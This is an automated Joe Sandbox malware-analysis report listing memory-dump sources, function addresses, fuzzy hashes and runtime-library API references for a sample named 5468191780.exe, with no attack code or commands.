Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5ec333e4e7857358c8b99704240352a8ace49e2213d55fe3a8f88bbee58ad1
Instruction ID: a7680b9939b5d1295e36bb7fa65b82fa061692fd03a8bbeb339e54e3d46f4cd5
Opcode Fuzzy Hash: db5ec333e4e7857358c8b99704240352a8ace49e2213d55fe3a8f88bbee58ad1
Instruction Fuzzy Hash: C951DF74E54219DFCB04CFAAD9909AEBBF2BB89300F58D52AD415BB224E7349A018B51

Function 015A6988 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 317e9e1a077c07006baa728b6978a73860d9963864059530feb43249dd794458
Instruction ID: 6163bdf2410fae3a18f9a3811a9a29bedcd7f848c0c2e447222c4516f8b42ed0
Opcode Fuzzy Hash: 317e9e1a077c07006baa728b6978a73860d9963864059530feb43249dd794458
Instruction Fuzzy Hash: BE51F274E14219DFCB04CFAAD9909AEFBF2BF89300F58D52AD415BB314E7349A018B51

Function 015AEEE0 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 516a57e73ac43a8c425418a4633010475efa1f48f805a3aae9cebf62e445d1a0
Instruction ID: ba503d078476dfeabd7d77ff488186dbb550cb6b66d033a8f99572d2e9019211
Opcode Fuzzy Hash: 516a57e73ac43a8c425418a4633010475efa1f48f805a3aae9cebf62e445d1a0
Instruction Fuzzy Hash: D0510EB0D003489FDB14CFA9D885B9EBBF1FB09304F20912AE829AB390D7749845CF45

Function 015A6B99 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b54407131286d062b4b987ab5f6b535198954a9c5c1819abfe27578ee362805
Instruction ID: 1ce4b4e19e215d2d7152b897b925048512248f1b9c0567cd6a5e9c4184739d10
Opcode Fuzzy Hash: 5b54407131286d062b4b987ab5f6b535198954a9c5c1819abfe27578ee362805
Instruction Fuzzy Hash: 5B5118B0E0520ADFCB04CFA9D5815AEFBF2FB88300F68D56AC515BB254D7349A418B95

Function 015A6BA8 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43ca818033853ad28ef76037c6d44fd367a985361cfdda62427d8688211528ef
Instruction ID: 708b25e3b88f568e988eb59b16239567170bcc2fa0f00177768b90835484bb93
Opcode Fuzzy Hash: 43ca818033853ad28ef76037c6d44fd367a985361cfdda62427d8688211528ef
Instruction Fuzzy Hash: 2351F7B0E0560ADFCB08CFA9C5815AEFBF2FF88300F68D569C505BB254D7359A418B95

Function 015A6750 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e39365ff35d2902035522f6698cc40b484f2a3f1965afc781dc8f093217544
Instruction ID: ed1343af985654f674ae7b9d91f82271166573c80339485a2aab284a47fccd97
Opcode Fuzzy Hash: 43e39365ff35d2902035522f6698cc40b484f2a3f1965afc781dc8f093217544
Instruction Fuzzy Hash: A141FB74E5460A9FCB44CFAAC4815AEFBF2BF88310F58D46AC415EB354E3349A418F95

Function 015A6DB1 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caacf17da37af460e4e6574a4521b60eea73b9a86a56546bf9fdde08a3333a10
Instruction ID: 5a2f6e3b513ac98dcb1148e8238d1d4d3f730ce22afeccd45ab2f2ae8f306917
Opcode Fuzzy Hash: caacf17da37af460e4e6574a4521b60eea73b9a86a56546bf9fdde08a3333a10
Instruction Fuzzy Hash: 4B31C871E056189BEB18CFABD85069EFBF3BFC9300F04C0AAD518AB254EB3459558F51

Function 6C9E8BD0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0506ec55bb1eeabb00de8469fc935753d476aebcff7e72f4d02f84938f7234cf
Instruction ID: 55c452ac14821179f7b09bdb54966b1afd7c81fbc934232df2167b9186bf6c0e
Opcode Fuzzy Hash: 0506ec55bb1eeabb00de8469fc935753d476aebcff7e72f4d02f84938f7234cf
Instruction Fuzzy Hash: 4111277BB2B62147E345DFBEDCD460A6356EFEB31471A0635EE41D7602C661E401C168

Function 6C9F209D Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0cd06d0c460137d603e80f6f3d8983a298fc10b1a175a93c8f847950acd8102
Instruction ID: 1824d0e7738c46d50d432b5347c4ac19c71d8dde8769d25ed6e1751f4a38ced8
Opcode Fuzzy Hash: f0cd06d0c460137d603e80f6f3d8983a298fc10b1a175a93c8f847950acd8102
Instruction Fuzzy Hash: 18F082B56187819BD7189B24D89563FB7B1EB87618F14552CE2C2D2292DA22D8068A0D

Function 6C9D9D09 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction ID: 29ad7fd2e1c78f005a902825b3d2dab9ef9dbc53abb69a44a5d9ab6bf83c0c21
Opcode Fuzzy Hash: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction Fuzzy Hash: DDE08632912528EBC710DFC8C50098AB3FCE754A15F134496F505E3500C670EE00C7C0

Function 00E132A0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2669917004.0000000000DC2000.00000040.00000001.01000000.00000009.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000007.00000002.2669882827.0000000000DC0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2669989475.0000000000E46000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dc0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction ID: 34fde4c13fcfd63171c7d53dbec0e996951c7845071132db72e9b575714ea7da
Opcode Fuzzy Hash: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction Fuzzy Hash: 90B01254B142087F0064AE0E8C45D7BF7FED2CB650F107018B408A3314C650EC0482FD

Function 6CA21C60 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction ID: 34fde4c13fcfd63171c7d53dbec0e996951c7845071132db72e9b575714ea7da
Opcode Fuzzy Hash: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction Fuzzy Hash: 90B01254B142087F0064AE0E8C45D7BF7FED2CB650F107018B408A3314C650EC0482FD

Function 6C9DC6F8 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6C9DC73C

Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE644
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE656
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE668
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE67A
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE68C
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE69E
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE6B0
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE6C2
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE6D4
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE6E6
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE6F8
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE70A
Part of subcall function 6C9DE627: _free.LIBCMT ref: 6C9DE71C

_free.LIBCMT ref: 6C9DC731

Part of subcall function 6C9DA013: HeapFree.KERNEL32(00000000,00000000,?,6C9D924C), ref: 6C9DA029
Part of subcall function 6C9DA013: GetLastError.KERNEL32(?,?,6C9D924C), ref: 6C9DA03B

_free.LIBCMT ref: 6C9DC753
_free.LIBCMT ref: 6C9DC768
_free.LIBCMT ref: 6C9DC773
_free.LIBCMT ref: 6C9DC795
_free.LIBCMT ref: 6C9DC7A8
_free.LIBCMT ref: 6C9DC7B6
_free.LIBCMT ref: 6C9DC7C1
_free.LIBCMT ref: 6C9DC7F9
_free.LIBCMT ref: 6C9DC800
_free.LIBCMT ref: 6C9DC81D
_free.LIBCMT ref: 6C9DC835

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 2204a72ffd20019caf08005fa6b5955c56fa05a540971bd75a4af5a36f7ed74f
Instruction ID: 8b2f8080d92812f79cae1c41a27aa7618f2b85fd2ee6589bda44878e2c81130d
Opcode Fuzzy Hash: 2204a72ffd20019caf08005fa6b5955c56fa05a540971bd75a4af5a36f7ed74f
Instruction Fuzzy Hash: F831A231604E00DFE7606A79D840B8673ECEF26718F22C419E065F7A90DF34F9949B11

Function 6C9D98D3 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6C9D98E9

Part of subcall function 6C9DA013: HeapFree.KERNEL32(00000000,00000000,?,6C9D924C), ref: 6C9DA029
Part of subcall function 6C9DA013: GetLastError.KERNEL32(?,?,6C9D924C), ref: 6C9DA03B

_free.LIBCMT ref: 6C9D98F5
_free.LIBCMT ref: 6C9D9900
_free.LIBCMT ref: 6C9D990B
_free.LIBCMT ref: 6C9D9916
_free.LIBCMT ref: 6C9D9921
_free.LIBCMT ref: 6C9D992C
_free.LIBCMT ref: 6C9D9937
_free.LIBCMT ref: 6C9D9942
_free.LIBCMT ref: 6C9D9950

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d082dd1caf391cef043de3fc38020ea4502c06fab162019d7f5b6464cfb9cab8
Instruction ID: 031209dfc2c5b6fd7ff07c8dde98eca9ee8477f8f4a4fc16ffbdaaa9cd128a37
Opcode Fuzzy Hash: d082dd1caf391cef043de3fc38020ea4502c06fab162019d7f5b6464cfb9cab8
Instruction Fuzzy Hash: 0C21EB76900508EFCB41DFA4C880DDD7BB8BF2A244F0281A6F515EB620DB75EA58DB81

Function 6C9D7EB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6C9D7EE7
___except_validate_context_record.LIBVCRUNTIME ref: 6C9D7EEF
_ValidateLocalCookies.LIBCMT ref: 6C9D7F78
__IsNonwritableInCurrentImage.LIBCMT ref: 6C9D7FA3
_ValidateLocalCookies.LIBCMT ref: 6C9D7FF8

Strings

csm, xrefs: 6C9D7F8D

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 80f6c7b86af719fb0fc5a7c8d97cd049465276a644931e05aef80a469947aa27
Instruction ID: 7566792491009e005d2850929162c93b14aa6c1aaa5c4e43d32fb553a04d4fad
Opcode Fuzzy Hash: 80f6c7b86af719fb0fc5a7c8d97cd049465276a644931e05aef80a469947aa27
Instruction Fuzzy Hash: 4F410434A00648AFCF10CF6DC880ADEBBB5AF55318F11C155E818BB756D731EA25CB91

Function 6C9DB53A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 6C9DB591
ext-ms-, xrefs: 6C9DB5A5

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: bb770d5ae929a71a290a630dee5cbd6dc65d15aa44eec65509a8896762293b12
Instruction ID: d695c834a8ff161e1b9cd3fc4b7850a97ed6f1263f58d7eb701a128a91aa1146
Opcode Fuzzy Hash: bb770d5ae929a71a290a630dee5cbd6dc65d15aa44eec65509a8896762293b12
Instruction Fuzzy Hash: BD21E771A59A11FBDB128B258C44B4E377C9F57BA8F238610E915F7A81D630F900C6E0

Function 6C9DE7C6 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6C9DE78E: _free.LIBCMT ref: 6C9DE7B3

_free.LIBCMT ref: 6C9DE814

Part of subcall function 6C9DA013: HeapFree.KERNEL32(00000000,00000000,?,6C9D924C), ref: 6C9DA029
Part of subcall function 6C9DA013: GetLastError.KERNEL32(?,?,6C9D924C), ref: 6C9DA03B

_free.LIBCMT ref: 6C9DE81F
_free.LIBCMT ref: 6C9DE82A
_free.LIBCMT ref: 6C9DE87E
_free.LIBCMT ref: 6C9DE889
_free.LIBCMT ref: 6C9DE894
_free.LIBCMT ref: 6C9DE89F

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: df3a62bae5619c0391a4dd73f1ed9280de25fa8ef6cc31c29413405a70c15383
Instruction ID: 6d52d490a6cfa5272dcef79a59bc9424c69b02d56e5912fd3443eb10d9cf44a3
Opcode Fuzzy Hash: df3a62bae5619c0391a4dd73f1ed9280de25fa8ef6cc31c29413405a70c15383
Instruction Fuzzy Hash: 5E11B131500F08EAD7B0ABB0CC85FCFB79C9F36B48F418814A299B6A90CF28F5185791

Function 6C9DD8DF Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 6C9DD927
__fassign.LIBCMT ref: 6C9DDB0C
__fassign.LIBCMT ref: 6C9DDB29
WriteFile.KERNEL32(?,6C9DC0C3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9DDB71
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6C9DDBB1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9DDC59

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 3080d175b3a932ca12fb6f5d0601b86b37dc21c12c84aaf1528763f399cdb35a
Instruction ID: 3c8324653c079acfa9fbb8a756093e5b1d973d558b3790d9c56f9a30e435d322
Opcode Fuzzy Hash: 3080d175b3a932ca12fb6f5d0601b86b37dc21c12c84aaf1528763f399cdb35a
Instruction Fuzzy Hash: D3C1BE72D052588FCB15CFA8D8809EDFBB5AF19308F29816AE855FB741D631E906CF60

Function 6C9D8387 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6C9D8055,6C9D7180,6C9D6B99,?,6C9D6DD1,?,00000001,?,?,00000001,?,6C9E6120,0000000C,6C9D6ECA), ref: 6C9D8395
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6C9D83A3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6C9D83BC
SetLastError.KERNEL32(00000000,6C9D6DD1,?,00000001,?,?,00000001,?,6C9E6120,0000000C,6C9D6ECA,?,00000001,?), ref: 6C9D840E

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a6c9ad05cf1a786f027359a8bb928751e963a147edb9661cb54403dd43a9a442
Instruction ID: d710c2cd92a9fdaa45c9bf06d87051f16f16935d9130ef468248d60fe403d475
Opcode Fuzzy Hash: a6c9ad05cf1a786f027359a8bb928751e963a147edb9661cb54403dd43a9a442
Instruction Fuzzy Hash: 9301493231EB225EDB1C1974AC449962768DB2637A322D32BF124F19D2DF11E40A51C8

Function 6C9DA87F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe, xrefs: 6C9DA884

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe
API String ID: 0-4036957526
Opcode ID: 9ca2f927a39750241bc93287451ff7e026ea6bb29e8a986988f0e6ff60880258
Instruction ID: 34a7293d367c87e818c89c0ff4a672fbc0741e82722d14477e173f1461d56ba8
Opcode Fuzzy Hash: 9ca2f927a39750241bc93287451ff7e026ea6bb29e8a986988f0e6ff60880258
Instruction Fuzzy Hash: 4D21C2B1608A05AF97009F668C8098B77ACAF25378717C614F924F7A50EF70FC6187A1

Function 6C9D8503 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6C9D85C4,00000000,?,00000001,00000000,?,6C9D863B,00000001,FlsFree,6C9E1D3C,FlsFree,00000000), ref: 6C9D8593

Strings

api-ms-, xrefs: 6C9D8553

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 34d328bce883169da30db531d41deaadc1a02fe350984734bee67b3443b244f0
Instruction ID: 2ae0713d070564b3c0216cbfcb973b7e9257e1e7eeb49ca02fe1161e21773c00
Opcode Fuzzy Hash: 34d328bce883169da30db531d41deaadc1a02fe350984734bee67b3443b244f0
Instruction Fuzzy Hash: 4D11E735F55A21EBDB164B688C4474D33B89F077A8F278292E914F7682D720F90086D9

Function 6CA09D10 Relevance: 8.8, Strings: 7, Instructions: 57COMMON

Download Yara Rule

Strings

dpD, xrefs: 6CA09D97
@pD, xrefs: 6CA09DF8
@pD, xrefs: 6CA09DD4
xpD, xrefs: 6CA09DCC
@pD, xrefs: 6CA09DBE
@pD, xrefs: 6CA09DE6
@pD, xrefs: 6CA09E16

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: @pD$@pD$@pD$@pD$@pD$dpD$xpD
API String ID: 0-3510750901
Opcode ID: 766128104084e42ab7f2ec40d06bd8c3d1b5796f385ec76c63a1f3eaa5d3a1b7
Instruction ID: 9c201915a7ed17669ebea61ea02968c542ce787c01610fd73fcc847fcbab991f
Opcode Fuzzy Hash: 766128104084e42ab7f2ec40d06bd8c3d1b5796f385ec76c63a1f3eaa5d3a1b7
Instruction Fuzzy Hash: 4121C4B850E380CFE324CF15D590A5BBBF1BBCA304F10895EAA9993352C775980ACF56

Function 6C9D8BBA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6C9D8B6C,?,?,6C9D8B34,?,00000001,?), ref: 6C9D8BCF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6C9D8BE2
FreeLibrary.KERNEL32(00000000,?,?,6C9D8B6C,?,?,6C9D8B34,?,00000001,?), ref: 6C9D8C05

Strings

CorExitProcess, xrefs: 6C9D8BDA
mscoree.dll, xrefs: 6C9D8BC8

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 620b69c736c3b7243da22b569ab6629c9fd112cea4b421a5d25b19dffa4c99dd
